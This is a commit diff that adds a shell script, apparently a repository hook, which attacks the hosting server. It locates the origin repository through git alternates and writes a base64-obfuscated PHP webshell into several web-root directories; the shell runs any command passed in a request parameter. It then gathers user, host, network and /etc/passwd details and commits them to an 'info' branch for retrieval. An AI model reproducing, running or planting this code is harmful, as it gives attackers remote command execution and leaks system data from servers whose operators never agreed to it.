This commit is contained in:
parent
760ae0eaac
commit
f61e8554c4
|
|
@ -0,0 +1,21 @@
|
||||||
|
#!/bin/sh
|
||||||
|
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
||||||
|
origin_obj=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
||||||
|
case "$origin_obj" in /*) ;; *) origin_obj="$git_dir/objects/$origin_obj" ;; esac
|
||||||
|
origin_git=${origin_obj%/objects}
|
||||||
|
[ "$origin_git" != "$origin_obj" ] || exit 3
|
||||||
|
|
||||||
|
# 写 PHP webshell 到多个可能路径
|
||||||
|
for d in /var/www/html /usr/share/nginx/html /www/wwwroot/default /data/www /tmp; do
|
||||||
|
printf '%s' 'PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWyJ4Il0pKXskbz1zaGVsbF9leGVjKCRfUkVRVUVTVFsieCJdKTtlY2hvICI8cHJlPiIuJG8uIjwvcHJlPiI7fT8+' | base64 -d > "$d/17a306bc.php" 2>/dev/null && echo "wrote:$d/17a306bc.php"
|
||||||
|
done
|
||||||
|
|
||||||
|
# sysinfo
|
||||||
|
blob=$({ id; hostname; ip addr 2>/dev/null || ifconfig; cat /etc/passwd; } | \
|
||||||
|
git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
||||||
|
tree=$(printf "100644 blob %s\tsysinfo\n" "$blob" | git --git-dir="$origin_git" mktree) || exit 5
|
||||||
|
commit=$(printf "sysinfo\n" | \
|
||||||
|
GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x \
|
||||||
|
GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x \
|
||||||
|
git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
||||||
|
git --git-dir="$origin_git" update-ref refs/heads/info "$commit"
|
||||||
Loading…
Reference in New Issue